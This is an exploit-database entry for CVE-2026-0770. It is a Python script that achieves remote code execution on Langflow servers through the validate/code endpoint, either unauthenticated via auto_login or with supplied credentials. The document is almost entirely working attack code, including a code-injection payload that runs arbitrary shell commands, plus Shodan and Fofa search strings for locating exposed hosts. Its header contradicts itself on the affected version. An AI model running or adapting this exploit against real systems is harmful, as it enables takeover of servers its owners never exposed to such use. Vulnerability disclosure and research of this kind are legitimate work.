Langflow 1.3.0 - Remote Code Execution

# Exploit Title: Langflow  1.3.0 - Remote Code Execution 
# Fofa-dork: title="Langflow"
# Shodan-dork: title:"Langflow"
# Date: 23-05-2026
# Exploit Author: Diamorphine
# Venodor Homepage: https://www.langflow.org/
# Software Link: https://github.com/langflow-ai/langflow
# Version: 1.2.0
# Tested on: Debian
# CVE : CVE-2026-0770
# Description:  Langflow contains a remote code execution caused by inclusion of functionality from untrusted control sphere in the exec_globals parameter at the validate endpoint, letting remote attackers execute arbitrary code as root, exploit requires no authentication.
# Usage: CVE-2026-0770.py -u 127.0.0.1 [-l USERNAME] [-p PASSWORD] [-c COMMAND] 


import httpx
import asyncio
import subprocess
import json
import sys
import argparse


def auth(host, username, password):
    with httpx.Client(verify=False) as client:
        data = {
            'username': username,
            'password': password
        }
        r = client.post(url=f'http://{host}:7860/api/v1/login', data=data)
        res = r.json()
        access_token = res["access_token"]

    return access_token

async def exec_auth(host, username, password, cmd):
    async with httpx.AsyncClient(verify=False) as client:
        headers = {
            'Authorization': f'Bearare {auth(host, username, password)}' 
        }
        
        data = {
            "code":"\ndef exploit(\n    _=( lambda r: (_ for _ in ()).throw(Exception(f\"{r.stdout}{r.stderr}\")) )(\n        __import__('subprocess').run('%s', shell=True, capture_output=True, text=True)\n    )\n):\n    pass\n" % cmd
        }   
        
        r = await client.post(url=f'http://{host}:7860/api/v1/validate/code', headers=headers, json=data)
        r_out = r.text
        output = json.loads(r_out)
        value = output['function']
        try:
            print(value['errors'][0])
        except IndexError:
            print("Index out of range")

async def exec_without_auth(host, cmd):
    async with httpx.AsyncClient(verify=False) as client:
        req = await client.get(url=f'http://{host}:7860/api/v1/auto_login')
        res = req.json()
        access_token = res["access_token"]
        headers = {
            'Authorization': f'Bearare {access_token}'
        }

        data = {
            "code":"\ndef exploit(\n    _=( lambda r: (_ for _ in ()).throw(Exception(f\"{r.stdout}{r.stderr}\")) )(\n        __import__('subprocess').run('%s', shell=True, capture_output=True, text=True)\n    )\n):\n    pass\n" % cmd
        }

        r = await client.post(url=f'http://{host}:7860/api/v1/validate/code', headers=headers, json=data)
        r_out = r.text
        output = json.loads(r_out)
        value = output['function']
        try:
            print(value['errors'][0])
        except IndexError:
            print("Index out of range")

parser = argparse.ArgumentParser(description="Exploit for CVE-2026-0770 – Unauthenticated RCE in Langflow")
parser.add_argument('-u', '--host', required=True, help="Target host, e.g 127.0.0.1")
parser.add_argument('-l', '--login', help="Username for login, e.g user (If auto login not enabled)")
parser.add_argument('-p', '--password', help="Password for login, e.g password (If auto login not enabled)")
parser.add_argument('-c', '--command', default='id', help="Command for execute, e.g id, default: id")

args = parser.parse_args()

if args.login and args.password:
    asyncio.run(exec_auth(args.host, args.login, args.password, args.command))
else:
    asyncio.run(exec_without_auth(args.host, args.command))